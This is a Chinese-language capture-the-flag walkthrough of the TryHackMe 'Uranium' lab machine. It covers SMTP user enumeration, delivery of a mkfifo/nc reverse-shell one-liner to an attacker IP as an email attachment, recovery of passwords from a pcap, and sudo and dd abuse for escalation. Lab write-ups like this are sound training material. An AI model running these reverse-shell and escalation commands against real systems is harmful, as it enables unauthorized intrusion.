0%

THM打靶日寄65-Uranium CTF

  • 信息搜集与扫描打点

    给了一个推特帐户,如下:

    那大概是把域名解析手动扔到 /etc/hosts 里吧

    扫下靶机:

    • 80

      但里面并没什么东西

    • 25

      滚回来研究 smtp ,可以用 nc 来连接邮件服务器,同时用 VRFY 关键词确认存在账户hakanbey,以及确认无需身份验证即可发送邮件:

      先生成一个反弹shell文件:

      1
      echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.204.144 443 >/tmp/f' > application
      1
      sendEmail -t hakanbey@uranium.thm -f noone@gmail.com -s uranium.thm -u "Application Request" -a application

      出现报错,解决方案是把 tls 关了

      1
      sendEmail -t hakanbey@uranium.thm -f siunam@gmail.com -s uranium.thm -u "Application Request" -a application -o tls=no

  • 横向移动

    home 里面看到还有 kral4 用户

    1
    find / -group kral4 2>/dev/null

    找到 /bin/dd

    可以看到文件所有者 web 所属于 kral4

    在当前用户的家目录下找到 chat_with_kral4 文件,靶机没有 strings ,开个python服务器把文件传出来看

    只有这些,密码应该是被隐藏了,那就只能开始翻文件了

    /var/www/html 下有 web_flag.txt 但现在权限不够

    /var/log 下有 hakanbey_network_log.pcap ,python开出来分析一下:

    追踪tcp流,拿到一个 MBMD1vdpjg3kGv6SsIz56VNG

    拿这个密码解锁 chat_with_kral4 拿到密码

    Mys3cr3tp4sw0rD

    sudo -l启动,可以以 kral4 身份启动 /bin/bash

    1
    sudo -u kral4 /bin/bash

    现在就可以读 web_flag 了:基于此

    1
    2
    LFILE=/var/www/html/web_flag.txt 
    dd if=$LFILE
  • 提权

    继续翻

    上面说主目录下有个 nanoSUID 文件来修复针对 index.html 的攻击。

    但并没找到:

    那就考虑用 /bin/dd 改一下 index.html 先:

    呃并没有什么用,把 nano 手动放到主目录里试试

    放进去再读一下 index.html 发现有新邮件了。。。

    利用的时候有报错,查了一下是之前升级shell的时候改了 TERM ,改回来就行

    哦代价就是shell降级回去了。。。